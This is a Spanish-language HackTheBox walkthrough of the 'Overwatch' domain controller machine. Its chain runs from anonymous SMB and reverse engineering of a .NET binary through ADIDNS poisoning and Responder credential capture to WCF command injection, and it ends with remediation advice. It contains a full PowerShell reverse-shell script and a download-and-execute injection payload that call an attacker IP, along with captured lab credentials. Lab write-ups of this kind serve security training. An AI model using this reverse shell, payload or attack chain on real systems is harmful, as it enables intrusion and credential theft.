Resumen Ejecutivo
Overwatch es una máquina HackTheBox que representa un Windows Server 2022 actuando como Controlador de Dominio bajo el dominio overwatch.htb. Es una caja que recompensa la paciencia y el pensamiento lateral: la superficie de ataque inicial no es obvia y requiere encadenar múltiples técnicas que van desde la ingeniería inversa hasta el abuso de permisos de Active Directory.
El punto de entrada es inesperado: un recurso SMB anónimo expone el binario de una aplicación de monitorización interna. Al descompilar ese binario con dnSpy se obtienen credenciales hardcodeadas y se identifica un vector de inyección de comandos que más adelante será la clave para SYSTEM. Las credenciales extraídas permiten autenticarse en MSSQL, donde se descubre un servidor enlazado no resuelto — la señal perfecta para un ataque de envenenamiento DNS. Inyectando un registro A falso vía BloodyAD y levantando Responder, se capturan credenciales en texto claro de una segunda cuenta, logrando acceso WinRM. La escalada final explota el endpoint WCF KillProcess() del mismo binario que se analizó en la fase 2, cerrando el círculo con una reverse shell como NT AUTHORITY\SYSTEM.
SMB anónimo → Reverse Engineering (.NET / dnSpy) → Credenciales hardcoded → MSSQL linked server → DNS poisoning (BloodyAD) → Credential capture (Responder) → WinRM → WCF KillProcess() injection → SYSTEM
Nmap — Fingerprinting del Controlador de Dominio
El primer paso siempre es el mismo: un escaneo SYN rápido sobre todos los 65535 puertos para obtener el mapa completo de la superficie de ataque, seguido de un segundo escaneo más lento con detección de versión y scripts NSE sobre los puertos abiertos.
# Fase 1: Escaneo rápido de todos los puertos nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.244.81 -oG allports PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server 5985/tcp open wsman 6520/tcp open unknown ← puerto no estándar, interesante 9389/tcp open adws
El patrón de puertos es inconfundible: DNS, Kerberos, LDAP, SMB, WinRM, ADWS... esto es un Domain Controller. Pero hay un detalle que llama la atención inmediatamente: el puerto 6520 aparece como "unknown". MSSQL suele escuchar en el 1433; aquí alguien lo ha movido a un puerto no estándar, lo cual es una medida de seguridad por oscuridad típica de configuraciones mal diseñadas.
# Fase 2: Detección de versiones y scripts NSE nmap -p 53,88,135,139,389,445,464,636,3268,3269,3389,5985,6520,9389 \ -sCV --min-rate 1000 -Pn -n 10.129.244.81 -oN targeted # Output relevante 389/tcp open ldap Microsoft Windows AD LDAP ldapServiceName: overwatch.htb:s200401$@OVERWATCH.HTB rootDomainNamingContext: DC=overwatch,DC=htb 3389/tcp open ms-wbt-server rdp-ntlm-info: DNS_Domain_Name: overwatch.htb DNS_Computer_Name: S200401.overwatch.htb NetBIOS_Computer_Name: S200401 Product_Version: 10.0.20348 ← Windows Server 2022 6520/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM ms-sql-ntlm-info: Target_Name: OVERWATCH DNS_Domain_Name: overwatch.htb DNS_Computer_Name: S200401.overwatch.htb
El banner NTLM de RDP revela el dominio (overwatch.htb) y el nombre del equipo (S200401.overwatch.htb). El puerto 6520 confirma ser MSSQL Server 2022. Añado ambos al /etc/hosts antes de continuar.
# Resolución DNS local echo "10.129.244.81 overwatch.htb S200401.overwatch.htb" >> /etc/hosts
MSSQL en un DC (no en un servidor SQL dedicado) combinado con un puerto no estándar sugiere que es un servicio auxiliar interno — probablemente una aplicación que lo usa para logging o monitorización. Eso lo convierte en un objetivo secundario valioso: las aplicaciones internas suelen tener credenciales hardcodeadas o configuraciones laxas.
SMB Anónimo — Descubrimiento del Binario de Monitorización
Con SMB abierto, el primer intento siempre es enumerar shares con sesión nula (sin credenciales). En entornos modernos esto suele fallar, pero vale la pena el intento — y en este caso da resultado.
# Listar shares con sesión nula smbclient -L \\\\10.129.244.81 -U '' Password for [WORKGROUP\]: ← enter vacío Sharename Type Comment --------- ---- ------- software$ Disk SYSVOL Disk Logon server share NETLOGON Disk Logon server share IPC$ IPC Remote IPC
Hay un share no estándar: software$. El signo de dólar al final no lo convierte en oculto (eso es solo en Windows explorer), pero sí indica que no es un share por defecto del sistema — alguien lo creó manualmente. Lo intento acceder sin credenciales:
smbclient \\\\10.129.244.81\\software$ -U '' smb: \> ls . D 0 .. D 0 Monitoring D 0 smb: \> cd Monitoring\ smb: \Monitoring\> ls overwatch.exe AH 9728 overwatch.exe.config AH 2163 overwatch.pdb AH 30208 EntityFramework.dll AH ... System.Data.SQLite.dll AH ... System.Management.Automation.dll AH ...
Acceso completo sin autenticación. El directorio Monitoring/ contiene lo que parece una aplicación de monitorización .NET completa: el ejecutable, la base de datos de símbolos PDB (que facilita enormemente el debugging y la ingeniería inversa), y varias DLLs de dependencia. Lo monto localmente para trabajar con comodidad:
# Montar el share para acceso directo mkdir -p /tmp/overwatch/monitoring mount -t cifs //10.129.244.81/software$ /tmp/overwatch/monitoring \ -o username=guest,password='' # O simplemente descargar todo smbclient \\\\10.129.244.81\\software$ -U '' \ -c 'recurse ON; prompt OFF; mget *'
El share
software$ es accesible por cualquier usuario no autenticado. Exponer el binario compilado de una aplicación interna junto con sus símbolos de debug (.pdb) es equivalente a entregar el código fuente. Este único fallo habilita toda la cadena de ataque posterior.
dnSpy — Análisis del Binario .NET
Los binarios .NET son especialmente "reversibles" porque el bytecode CIL (Common Intermediate Language) retiene nombres de clases, métodos y variables, lo que permite a dnSpy reconstruir código C# prácticamente idéntico al original. Con el archivo .pdb presente, la experiencia es aún mejor — tenemos información de debug completa.
Abro overwatch.exe en dnSpy y navego por el árbol de assemblies. La estructura de clases es inmediatamente visible en el panel izquierdo: hay un Program, un IMonitoringService y un MonitoringService. Me centro en esta última.
El primer hallazgo está en el método CheckEdgeHistory(). Este método parece leer el historial de navegación de Microsoft Edge (SQLite) y volcarlo en una base de datos SQL Server para logging de seguridad. El problema es obvio en la línea 14:
// Método CheckEdgeHistory — clase MonitoringService // Token: 0x0600000D RVA: 0x00002370 private static void CheckEdgeHistory(object sender, ElapsedEventArgs e) { string text = Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\Edge\\User Data\\Default\\History"); if (!File.Exists(text)) return; string tempFileName = Path.GetTempFileName(); File.Copy(text, tempFileName, true); try { // ← AQUÍ: cadena de conexión con credenciales en texto claro using (SqlConnection sqlConnection = new SqlConnection( "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;")) { sqlConnection.Open(); using (SqlCommand sqlCommand = new SqlCommand()) { sqlCommand.Connection = sqlConnection; SQLiteConnection sqliteConnection = new SQLiteConnection( "Data Source=" + tempFileName + ";Version=3;"); sqliteConnection.Open(); SQLiteDataReader sqliteDataReader = new SQLiteCommand( "SELECT url, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5", sqliteConnection).ExecuteReader(); while (sqliteDataReader.Read()) { string str = sqliteDataReader["url"].ToString(); string commandText = "INSERT INTO EventLog (Timestamp, EventType, Details) " + "VALUES (GETDATE(), 'URLVisit', '" + str + "')"; sqlCommand.CommandText = commandText; sqlCommand.ExecuteNonQuery(); } sqliteConnection.Close(); } } } catch { } finally { File.Delete(tempFileName); } }
Credenciales de SQL Server hardcodeadas directamente en el código: sqlsvc : TI0LKcfHzZw1Vv. Cualquier persona que pueda leer el binario — lo cual en este caso incluye a cualquier usuario no autenticado — obtiene credenciales de dominio válidas.
El segundo hallazgo es aún más crítico. El método KillProcess() recibe un nombre de proceso del caller y ejecuta Stop-Process de PowerShell. El problema: concatena el parámetro directamente en la cadena de comandos sin ningún tipo de validación o sanitización:
// Método KillProcess — clase MonitoringService public string KillProcess(string processName) { // ← El parámetro processName se inyecta directamente en el script PowerShell string scriptContents = "Stop-Process -Name " + processName + " -Force"; string result; try { using (Runspace runspace = RunspaceFactory.CreateRunspace()) { runspace.Open(); using (Pipeline pipeline = runspace.CreatePipeline()) { pipeline.Commands.AddScript(scriptContents); pipeline.Commands.Add("Out-String"); Collection<PSObject> collection = pipeline.Invoke(); runspace.Close(); StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject psobject in collection) stringBuilder.AppendLine(psobject.ToString()); result = stringBuilder.ToString(); } } } catch (Exception ex) { result = "Error: " + ex.Message; } return result; }
Si envío "notepad; whoami" como processName, el script que se ejecuta es Stop-Process -Name notepad; whoami -Force. El punto y coma actúa como separador de comandos en PowerShell, lo que significa ejecución arbitraria de código. Anoto esto para la fase de escalada — todavía no tengo acceso al servicio WCF, pero sé exactamente cómo abusarlo cuando llegue el momento.
CheckEdgeHistory() expone credenciales hardcodeadas (CVSS 8.8). KillProcess() permite command injection sin autenticación a cualquier usuario que pueda contactar el endpoint WCF (CVSS 9.8). Ambos en el mismo binario accesible anónimamente.
MSSQL — Enumeración con las credenciales extraídas
Con las credenciales sqlsvc:TI0LKcfHzZw1Vv me autentico contra el servicio MSSQL en el puerto 6520. Uso mssqlclient.py de Impacket con autenticación Windows (-windows-auth) porque la cuenta es una cuenta de dominio.
mssqlclient.py overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.244.81 \ -p 6520 -windows-auth Impacket v0.11.0 - Copyright 2023 Fortra [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] ACK: Result: 1 - Microsoft SQL Server (160 10000) [!] Press help for extra shell commands SQL (overwatch\sqlsvc dbo@master)>
Sesión activa. El primer comando interesante en MSSQL cuando se busca movimiento lateral es sp_linkedservers — muestra las conexiones configuradas a otros servidores SQL:
SQL> EXEC sp_linkedservers;
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE
-------------------- ----------------- ------------ ----------------
S200401\SQLEXPRESS SQLNCLI SQL Server S200401\SQLEXPRESS
SQL07 SQLNCLI SQL Server SQL07
Hay un servidor enlazado llamado SQL07. Los linked servers en SQL Server son conexiones preconfiguradas a otras instancias SQL, muy usados en entornos empresariales para consultas distribuidas. Cuando SQL Server intenta conectarse a un linked server, envía credenciales de autenticación al destino.
La clave aquí es: ¿existe SQL07 en DNS? Hago la resolución:
# Comprobar si SQL07 resuelve en DNS nslookup SQL07 10.129.244.81 Server: 10.129.244.81 Address: 10.129.244.81#53 ** server can't find SQL07: NXDOMAIN
SQL07 no existe en DNS. Esto significa que cada vez que SQL Server intente conectarse a ese linked server, fallará la resolución — pero antes de fallar, intentará autenticarse. Si puedo crear ese registro DNS apuntando a mi máquina, capturaré esas credenciales.
Un linked server apuntando a un nombre DNS inexistente es una señal de alarma desde el punto de vista de seguridad. Indica que el servidor destino puede haber sido dado de baja, pero la configuración no se ha limpiado. En este caso, ese "hueco" es exactamente lo que necesitamos para el ataque de DNS poisoning.
BloodyAD — Inyección de registro DNS en Active Directory
Active Directory Integrated DNS (ADIDNS) almacena los registros DNS directamente en objetos de AD. Por defecto, los usuarios autenticados tienen permiso para añadir nuevos registros DNS bajo la zona del dominio — esto es por diseño, para facilitar el registro dinámico de equipos. La herramienta BloodyAD permite auditar y abusar de permisos AD sin necesitar privilegios elevados.
Primero verifico qué permisos de escritura tiene la cuenta sqlsvc en AD:
bloodyAD -d S200401.overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv \ --dc-ip 10.129.244.81 get writable distinguishedName: CN=sqlsvc,CN=Users,DC=overwatch,DC=htb attribute: member permission: WRITE distinguishedName: DC=overwatch,DC=htb attribute: dnsNode permission: WRITE
Confirmado: sqlsvc tiene permisos WRITE sobre nodos DNS del dominio. Esto significa que puede crear nuevos registros A. Inyecto un registro que apunta SQL07 a mi IP de atacante (la interfaz tun0 de la VPN HTB):
# Añadir registro A: SQL07 → 10.10.15.115 (mi tun0) bloodyAD -d overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv \ --dc-ip 10.129.244.81 add dnsRecord SQL07 10.10.15.115 [+] SQL07 has been successfully added # Verificar que el registro existe ahora nslookup SQL07 10.129.244.81 Server: 10.129.244.81 Address: 10.129.244.81#53 Name: SQL07.overwatch.htb Address: 10.10.15.115
El registro DNS está creado. Ahora cuando SQL Server en S200401 intente conectarse al linked server SQL07, resolverá a mi IP. La siguiente pregunta es: ¿cómo se autentica SQL Server a un linked server? Aquí es donde entra Responder.
Una cuenta de servicio SQL no debería tener permisos de escritura sobre la zona DNS de AD. Este tipo de permiso es un vector clásico para ataques MitM y credential capture. La segmentación por niveles de AD (Tier Model) existe precisamente para evitar que cuentas de servicio de aplicación tengan acceso a objetos de infraestructura como DNS.
Responder — Captura de credenciales MSSQL en texto claro
Responder es una herramienta que actúa como servidor falso para múltiples protocolos (SMB, HTTP, MSSQL, FTP, LDAP...) y captura los intentos de autenticación dirigidos hacia él. Normalmente captura hashes NTLMv2, pero en este caso esperamos credenciales en texto claro porque los linked servers MSSQL pueden estar configurados para autenticación SQL (no integrada), que transmite usuario y contraseña sin cifrar.
Levanto Responder en la interfaz tun0 y luego provoco que SQL Server intente conectarse al linked server:
# Terminal 1: Responder escuchando en tun0 sudo responder -I tun0 -w -d __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.1.3.0 [+] Listening for events... # Terminal 2: Desde mssqlclient, trigger del linked server SQL> EXEC ('select 1') AT [SQL07];
# Responder captura la conexión entrante [MSSQL] Cleartext Client : 10.129.244.81 [MSSQL] Cleartext Hostname : SQL07 () [MSSQL] Cleartext Username : sqlmgmt [MSSQL] Cleartext Password : bIhBbzMMnB82yx
Las credenciales de sqlmgmt capturadas en texto claro. El linked server estaba configurado con autenticación SQL estándar (usuario/contraseña), no con autenticación Windows/Kerberos. Cuando SQL Server intentó conectarse a "SQL07" — que ahora apunta a mi máquina — Responder actuó como servidor MSSQL y recibió las credenciales sin cifrar.
Los linked servers deberían usar autenticación Kerberos (Windows Integrated) o al menos TLS para la transmisión de credenciales. La autenticación SQL estándar transmite usuario y contraseña en claro sobre el wire — una vez que el DNS está envenenado, la captura es trivial.
WinRM — Acceso inicial y enumeración post-explotación
WinRM (puerto 5985) estaba abierto desde el escaneo inicial. Pruebo las credenciales capturadas:
evil-winrm -i 10.129.244.81 -u sqlmgmt -p bIhBbzMMnB82yx Evil-WinRM shell v3.9 Info: Establishing connection to remote endpoint # User flag *Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> type user.txt 62a1f3fb06c2c857cf2fefabcada7c40
Shell activa. Antes de ir directamente a la escalada, enumero el sistema para entender en qué contexto estoy y qué hay en ejecución:
# Quién soy y qué privilegios tengo *Evil-WinRM* PS> whoami /all User Name : overwatch\sqlmgmt ... Privileges: SeChangeNotifyPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled # Qué procesos están corriendo en el sistema *Evil-WinRM* PS> Get-Process | Select-Object Name, Id, Path | ft -Auto Name Id Path ---- -- ---- ... overwatch 4700 C:\Program Files\Monitoring\overwatch.exe ... # Conexiones de red activas *Evil-WinRM* PS> netstat -ano | findstr LISTENING TCP 0.0.0.0:5985 LISTENING 4 TCP 0.0.0.0:6520 LISTENING ... TCP 0.0.0.0:8000 LISTENING 4700 ← overwatch.exe escucha en 8000
overwatch.exe está corriendo con PID 4700 y escucha en el puerto 8000. Verifico bajo qué usuario se ejecuta ese proceso:
*Evil-WinRM* PS> Get-WmiObject Win32_Process -Filter "ProcessId=4700" |
Select-Object Name, ProcessId, @{N='Owner';E={$_.GetOwner().User}}
Name ProcessId Owner
---- --------- -----
overwatch.exe 4700 SYSTEM
overwatch.exe corre como SYSTEM. Y ese proceso expone el servicio WCF con el método KillProcess() vulnerable que identifiqué durante el análisis con dnSpy. La escalada está servida.
WCF — Descubrimiento y análisis del endpoint SOAP
WCF (Windows Communication Foundation) es el framework de Microsoft para crear servicios web. El endpoint en el puerto 8000 publica un servicio SOAP. Lo primero es obtener el WSDL (Web Services Description Language) — el "contrato" que define los métodos disponibles y sus parámetros:
# Obtener el WSDL del servicio WCF *Evil-WinRM* PS> Invoke-WebRequest "http://overwatch.htb:8000/MonitorService?singleWsdl" | Select-Object -ExpandProperty Content | Out-String # Output relevante del WSDL <wsdl:portType name="IMonitoringService"> <wsdl:operation name="KillProcess"> <wsdl:input message="tns:IMonitoringService_KillProcess_InputMessage"/> <wsdl:output message="tns:IMonitoringService_KillProcess_OutputMessage"/> </wsdl:operation> <wsdl:operation name="LogEvent">...</wsdl:operation> <wsdl:operation name="StartMonitoring">...</wsdl:operation> <wsdl:operation name="StopMonitoring">...</wsdl:operation> </wsdl:portType>
El WSDL confirma la existencia de KillProcess y los demás métodos que ya conocía del análisis dnSpy. PowerShell tiene un cmdlet nativo para crear un proxy de servicio web que genera automáticamente las clases necesarias para llamar a los métodos del WSDL: New-WebServiceProxy.
WCF Command Injection → NT AUTHORITY\SYSTEM
El exploit es directo: KillProcess() construye el comando PowerShell como "Stop-Process -Name " + processName + " -Force". Si inyecto un punto y coma en processName, puedo añadir comandos adicionales que se ejecutarán en el contexto de SYSTEM.
Preparo el payload. Uso un script PowerShell de reverse shell clásico, lo sirvo desde un servidor HTTP python en mi máquina, y lo ejecuto mediante download-and-execute:
# En mi máquina atacante — generar shell.ps1 (PowerShell reverse shell) cat shell.ps1 $client = New-Object System.Net.Sockets.TCPClient('10.10.15.115', 443) $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i) $sendback = (iex $data 2>&1 | Out-String) $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() # Terminal 1: Servidor HTTP para servir shell.ps1 python3 -m http.server 80 # Terminal 2: Listener de reverse shell nc -nlvp 443
# Desde la shell WinRM como sqlmgmt — construir el proxy y lanzar el payload *Evil-WinRM* PS> $wsdl = "http://overwatch.htb:8000/MonitorService?singleWsdl" *Evil-WinRM* PS> $proxy = New-WebServiceProxy -Uri $wsdl -Namespace Monitoring # Payload: "dummy" termina el proceso (aunque falle) y el punto y coma inicia el siguiente comando *Evil-WinRM* PS> $payload = "dummy; iex (New-Object Net.WebClient).DownloadString('http://10.10.15.115/shell.ps1') #" *Evil-WinRM* PS> $proxy.KillProcess($payload)
# Respuesta en el listener nc Listening on 0.0.0.0 443 connect to [10.10.15.115] from (UNKNOWN) [10.129.244.81] 59275 PS C:\Windows\system32> whoami nt authority\system PS C:\Windows\system32> hostname S200401 PS C:\Users\Administrator\Desktop> type root.txt 9a6ea3cdd5e3235b48224790b62790c2
Shell como SYSTEM. El payload funciona exactamente como se analizó: PowerShell interpreta el punto y coma como separador de comandos, ejecuta Stop-Process -Name dummy (que falla silenciosamente porque "dummy" no es un proceso válido), y luego ejecuta el downloader que descarga y ejecuta shell.ps1 desde mi servidor HTTP. El # al final comenta el resto del string (-Force) para evitar errores de sintaxis.
OS Command Injection sin restricción de red ni autenticación, ejecutado en el contexto de SYSTEM. El fix es trivial: reemplazar la concatenación de strings por
System.Diagnostics.Process.Kill() con un argumento validado por whitelist. Ningún servicio de monitorización debería ejecutarse como SYSTEM.
Hallazgos Técnicos
| # | Severidad | Hallazgo | CVSS 3.1 | CWE | MITRE |
|---|---|---|---|---|---|
| F-01 | High | SMB anónimo — lectura sin autenticación del share software$ | 7.5 | CWE-284 | T1135, T1083 |
| F-02 | High | Credenciales hardcodeadas en overwatch.exe (sqlsvc) | 8.8 | CWE-798 | T1552.001, T1078.002 |
| F-03 | High | Permisos WRITE DNS en AD para cuenta de servicio sqlsvc | 8.1 | CWE-269 | T1584.002, T1557 |
| F-04 | High | Linked server MSSQL con auth en texto claro (SQL07) | 8.8 | CWE-312 | T1557, T1040 |
| F-05 | Critical | OS Command Injection en WCF KillProcess() ejecutando como SYSTEM | 9.8 | CWE-78 | T1059.001, T1543.003 |
| F-06 | Medium | Linked server MSSQL sin resolver (SQL07) — superficie de ataque DNS | — | — | T1557 |
| F-07 | Info | Sin actividad de detección/respuesta durante todo el engagement | — | CWE-693 | — |
Credenciales Obtenidas
sqlsvc : TI0LKcfHzZw1Vv ← MSSQL port 6520, Windows Auth
# sqlmgmt — Capturada en texto claro por Responder vía DNS poisoning
sqlmgmt : bIhBbzMMnB82yx ← WinRM 5985
user.txt C:\Users\sqlmgmt\Desktop\user.txt
→ 62a1f3fb06c2c857cf2fefabcada7c40
root.txt C:\Users\Administrator\Desktop\root.txt
→ 9a6ea3cdd5e3235b48224790b62790c2
Resumen de Remediación
- [Inmediata] Rotar contraseñas de
sqlsvcysqlmgmtinmediatamente. Revisar si están reutilizadas en otros sistemas. - [Inmediata] Parchear
KillProcess()en overwatch.exe: reemplazar concatenación de strings PowerShell porSystem.Diagnostics.Process.Kill(). Validar input con whitelist alfanumérica estricta. - [Inmediata] Cambiar el usuario de ejecución de overwatch.exe de SYSTEM a una cuenta de servicio con mínimo privilegio. Restringir el acceso de red al puerto 8000 solo a hosts de gestión.
- [Corto plazo] Deshabilitar acceso SMB anónimo/invitado. Requerir autenticación para todos los shares. Eliminar binarios compilados, PDB y dependencias de recursos de red — usar despliegue versionado en lugar de shares abiertos.
- [Corto plazo] Eliminar permisos WRITE DNS de
sqlsvcen AD. Aplicar segmentación por niveles (Tier Model): las cuentas de servicio de aplicación no deben tener acceso a objetos de infraestructura. Monitorizar cambios DNS en AD (Event ID 5137). - [Corto plazo] Habilitar cifrado TLS obligatorio para todos los linked servers MSSQL (
Force Encryption = Yes). Migrar autenticación a Kerberos en lugar de SQL auth. Limpiar linked servers obsoletos. - [Medio plazo] Implementar pipeline de escaneo de secretos en CI/CD para detectar credenciales hardcodeadas antes de compilar. Usar Windows Credential Manager, DPAPI o HashiCorp Vault para secretos de aplicación.
- [Medio plazo] Desplegar SIEM + Sysmon: alertas en Event ID 5137 (DNS changes), 4662 (AD object WRITE), Sysmon Event 3 (conexiones MSSQL salientes inesperadas).